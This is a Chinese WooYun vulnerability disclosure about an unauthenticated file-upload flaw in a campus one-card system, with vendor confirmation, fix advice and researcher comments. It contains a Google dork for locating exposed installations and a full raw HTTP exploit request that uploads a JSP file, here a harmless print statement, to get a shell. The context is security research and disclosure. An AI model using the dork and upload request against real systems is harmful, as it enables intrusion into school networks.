某通用型校园一卡通系统直接getshell

谷歌：inurl:/ggxxfb.action?lmid=

使用量非常大

但该系统某上传页面无任何登陆验证，直接访问，无任何上传限制，直接getshell

exp:

POST /pages/xxfb/editor/uploadAction.action HTTP/1.0
 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
 Referer: 
 Accept-Language: zh-cn
 Content-Type: multipart/form-data; boundary=---------------------------7de1ed03fc
 UA-CPU: x86
 Pragma: no-cache
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
 Host: 
 Content-Length: 310
 Proxy-Connection: Keep-Alive
 Cookie: JSESSIONID=E02189DAC512F2CB4FB59B944095620E
 
 -----------------------------7de1ed03fc
 Content-Disposition: form-data; name="file"; filename="C:/six.jsp"
 Content-Type: text/plain
 
 <%out.print("hello,wooyun");%>
 -----------------------------7de1ed03fc
 Content-Disposition: form-data; name="imgfile_session"
 
 
 -----------------------------7de1ed03fc--

枚举几例，以证明其通用性：

增加页面验证，验证上传文件类型

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-11-19 16:50

厂商回复：

最新状态：

暂无

1. 2014-11-15 18:24 | 绝对领域 ( 路人 | Rank:27 漏洞数:3 | 大穴码农网管)

   1

   我搞新开普你搞新中新，洞主你一定是故意的

   1# 回复此人

2. 2014-11-15 18:33 | s0ap ( 实习白帽子 | Rank:31 漏洞数:7 | 低调学习)

   1

   吊，这个要关注啊

   2# 回复此人

3. 2014-11-15 19:50 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲，打脸pa pa pa)

   1

   @绝对领域 好基友啊

   3# 回复此人

4. 2014-11-15 20:14 | 端端 ( 普通白帽子 | Rank:261 漏洞数:31 | niconiconi~)

   1

   WooYun-2014-75840

   4# 回复此人

5. 2014-11-15 20:15 | 端端 ( 普通白帽子 | Rank:261 漏洞数:31 | niconiconi~)

   1

   WooYun: 金龙卡金融化一卡通校园卡查询系统任意文件上传导致任意代码执行

   5# 回复此人

6. 2014-11-15 20:29 | six-door ( 普通白帽子 | Rank:234 漏洞数:33 )

   1

   @端端 @端端 晕！！！！！重复了。。。。发之前搜了一下，没搜到那个。。。我去挖新的去。。。。哎，挖个洞不容易啊

   6# 回复此人

7. 2014-11-15 20:38 | 魇 ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子， 但是除了他华...)

   1

   @six-door @端端 审核不给力 通过了我以为是没重复的

   7# 回复此人

8. 2014-11-15 20:44 | six-door ( 普通白帽子 | Rank:234 漏洞数:33 )

   1

   @魇 ....确实，我也是才看到你发的那个。。。。。。。

   8# 回复此人